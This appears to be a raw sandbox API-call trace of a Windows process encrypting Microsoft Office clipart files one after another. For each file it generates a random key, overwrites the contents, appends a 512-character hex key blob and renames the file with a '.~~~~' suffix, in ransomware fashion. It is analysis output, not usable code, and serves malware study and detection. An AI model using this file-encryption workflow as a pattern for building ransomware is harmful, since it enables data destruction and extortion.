	[0120.563] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.563] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.563] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24055289725) returned 1
	[0120.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb1540690, dwHighDateTime=0x1d60e1e)) 
	[0120.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9c90
	[0120.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9c90 | out: hHeap=0x300000) returned 1
	[0120.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f86b0
	[0120.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5b68
	[0120.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f86b0 | out: hHeap=0x300000) returned 1
	[0120.564] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.564] GetLastError () returned 0x0
	[0120.564] GetLastError () returned 0x0
	[0120.564] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.564] GetLastError () returned 0x0
	[0120.564] GetLastError () returned 0x0
	[0120.576] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffdf8a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.576] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x2076, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x2076, lpOverlapped=0x0) returned 1
	[0120.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.580] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.580] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.580] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.580] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.580] CloseHandle (hObject=0x140) returned 1
	[0120.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.581] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif.~~~~")) returned 1
	[0120.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.613] GetLastError () returned 0x0
	[0120.614] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0120.615] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.615] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.615] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24060525077) returned 1
	[0120.615] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb15d8c10, dwHighDateTime=0x1d60e1e)) 
	[0120.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea0c8
	[0120.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea0c8 | out: hHeap=0x300000) returned 1
	[0120.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5d30
	[0120.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.616] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.616] GetLastError () returned 0x0
	[0120.616] GetLastError () returned 0x0
	[0120.616] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.617] GetLastError () returned 0x0
	[0120.617] GetLastError () returned 0x0
	[0120.619] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffb2b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.619] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x4d5, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x4d5, lpOverlapped=0x0) returned 1
	[0120.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.620] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.620] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.621] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.621] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.621] CloseHandle (hObject=0x140) returned 1
	[0120.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.621] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif.~~~~")) returned 1
	[0120.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.622] GetLastError () returned 0x0
	[0120.623] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0120.624] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.624] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.624] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24061500083) returned 1
	[0120.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb15d8c10, dwHighDateTime=0x1d60e1e)) 
	[0120.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea100
	[0120.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea100 | out: hHeap=0x300000) returned 1
	[0120.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6028
	[0120.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.626] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.626] GetLastError () returned 0x0
	[0120.626] GetLastError () returned 0x0
	[0120.626] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.626] GetLastError () returned 0x0
	[0120.626] GetLastError () returned 0x0
	[0120.663] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffce1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.663] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x31f, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x31f, lpOverlapped=0x0) returned 1
	[0120.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.664] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.664] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.665] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.665] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.665] CloseHandle (hObject=0x140) returned 1
	[0120.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.670] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif.~~~~")) returned 1
	[0120.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.701] GetLastError () returned 0x0
	[0120.701] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0120.702] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.702] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.702] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24069255601) returned 1
	[0120.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb16972f0, dwHighDateTime=0x1d60e1e)) 
	[0120.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea330
	[0120.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea330 | out: hHeap=0x300000) returned 1
	[0120.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b60c0
	[0120.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.703] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.703] GetLastError () returned 0x0
	[0120.703] GetLastError () returned 0x0
	[0120.703] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.703] GetLastError () returned 0x0
	[0120.704] GetLastError () returned 0x0
	[0120.705] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffbba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.705] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x446, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x446, lpOverlapped=0x0) returned 1
	[0120.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.706] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.706] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.707] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.707] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.707] CloseHandle (hObject=0x130) returned 1
	[0120.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.707] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif.~~~~")) returned 1
	[0120.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.708] GetLastError () returned 0x0
	[0120.708] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0120.709] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.709] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.709] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24069942166) returned 1
	[0120.709] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb16bd450, dwHighDateTime=0x1d60e1e)) 
	[0120.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea368
	[0120.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea368 | out: hHeap=0x300000) returned 1
	[0120.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b66b0
	[0120.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.710] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.710] GetLastError () returned 0x0
	[0120.710] GetLastError () returned 0x0
	[0120.710] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.710] GetLastError () returned 0x0
	[0120.710] GetLastError () returned 0x0
	[0120.712] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffa02, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.712] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x5fe, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x5fe, lpOverlapped=0x0) returned 1
	[0120.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.713] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.713] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.713] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.713] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.713] CloseHandle (hObject=0x130) returned 1
	[0120.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.713] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif.~~~~")) returned 1
	[0120.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
